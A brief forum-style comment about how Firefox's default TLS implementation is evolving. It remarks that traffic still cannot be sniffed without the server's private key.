You might enjoy this link which gives an idea of how firefox's default TLS implementation is evolving. Um, maybe "enjoy" is not the right word. I thought it was interesting.
But it's still not sniffable. You'd have to know the server private key to derive the session key.